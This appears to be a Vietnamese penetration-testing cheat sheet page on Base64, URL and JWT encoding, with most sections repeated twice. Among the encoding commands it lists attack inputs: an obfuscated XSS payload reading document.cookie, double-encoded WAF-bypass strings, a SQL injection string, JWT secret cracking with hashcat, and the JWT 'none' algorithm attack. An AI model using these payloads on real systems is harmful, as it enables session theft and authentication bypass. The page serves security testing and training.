Payload• 25+ Techniques• Cập nhật: 2026-07-27

Encoding & Decoding Quick Reference

Bảng tra cứu nhanh các kỹ thuật mã hóa/giải mã Base64, URL Encoding, Hex, HTML Entity, JWT decode và Cyberchef.

Tổng quan & Hướng dẫn sử dụng

Encoding không phải mã hóa thật sự — không có key bí mật. Hiểu rõ các scheme encoding giúp nhận diện bypass WAF và xử lý dữ liệu đúng cách trong quá trình Pentest.

Base64 Encode/Decode

Mã hóa/giải mã Base64 trên Linux và trong payload.

Encode String to Base64

bash

echo -n 'admin:password123' | base64
# Output: YWRtaW46cGFzc3dvcmQxMjM=

Decode Base64

bash

echo 'YWRtaW46cGFzc3dvcmQxMjM=' | base64 -d
# Output: admin:password123

XSS Payload via Base64 Bypass

html

<svg onload=eval(atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ=='))>

URL Encoding

Encode ký tự đặc biệt để bypass filter và WAF.

Single URL Encode (Common Chars)

text

' → %27    " → %22    < → %3C    > → %3E
SPACE → %20    # → %23    & → %26    = → %3D

Double URL Encode (WAF Bypass)

text

' → %2527    < → %253C    > → %253E
SELECT → %2553%2545%254C%2545%2543%2554

Python URL Encode Snippet

python

from urllib.parse import quote
payload = "' OR 1=1--"
print(quote(payload))  # %27%20OR%201%3D1--

JWT Decode & Tamper

Phân tích và thay đổi JWT token.

Decode JWT Payload (no verify)

bash

# JWT = header.payload.signature
echo 'eyJ1c2VyIjoiYWRtaW4ifQ' | base64 -d
# Output: {"user":"admin"}

Crack JWT Secret (Hashcat mode 16500)

bash

hashcat -m 16500 jwt.txt rockyou.txt

None Algorithm Attack

text

# Đổi alg thành "none" trong header, bỏ signature
# header: {"alg":"none","typ":"JWT"}
# token: base64(header).base64(payload).

Cheatsheets liên quan

CLI30+ Commands

Hash Identification & Cracking Cheat Sheet

Nhận diện loại Hash (MD5, SHA-1, SHA-256, bcrypt) và kỹ thuật crack bằng Hashcat, John the Ripper với các attack modes phổ biến.

Bypass WAF45+ Payloads

Cross-Site Scripting (XSS) Payloads & Bypass

Tổng hợp các payload XSS cơ bản đến nâng cao bao gồm Reflected, Stored, DOM-based XSS và kỹ thuật bypass Filter/WAF.

Payload35+ Queries

SQL Injection (SQLi) Cheat Sheet

Khai thác lỗ hổng tiêm mã SQL: UNION-based, Error-based, Blind Boolean, Time-based SQLi trên MySQL, PostgreSQL & MSSQL.

Base64 Encode/Decode

Mã hóa/giải mã Base64 trên Linux và trong payload.

Encode String to Base64

bash

echo -n 'admin:password123' | base64
# Output: YWRtaW46cGFzc3dvcmQxMjM=

Decode Base64

bash

echo 'YWRtaW46cGFzc3dvcmQxMjM=' | base64 -d
# Output: admin:password123

XSS Payload via Base64 Bypass

html

<svg onload=eval(atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ=='))>

URL Encoding

Encode ký tự đặc biệt để bypass filter và WAF.

Single URL Encode (Common Chars)

text

' → %27    " → %22    < → %3C    > → %3E
SPACE → %20    # → %23    & → %26    = → %3D

Double URL Encode (WAF Bypass)

text

' → %2527    < → %253C    > → %253E
SELECT → %2553%2545%254C%2545%2543%2554

Python URL Encode Snippet

python

from urllib.parse import quote
payload = "' OR 1=1--"
print(quote(payload))  # %27%20OR%201%3D1--

JWT Decode & Tamper

Phân tích và thay đổi JWT token.

Decode JWT Payload (no verify)

bash

# JWT = header.payload.signature
echo 'eyJ1c2VyIjoiYWRtaW4ifQ' | base64 -d
# Output: {"user":"admin"}

Crack JWT Secret (Hashcat mode 16500)

bash

hashcat -m 16500 jwt.txt rockyou.txt

None Algorithm Attack

text

# Đổi alg thành "none" trong header, bỏ signature
# header: {"alg":"none","typ":"JWT"}
# token: base64(header).base64(payload).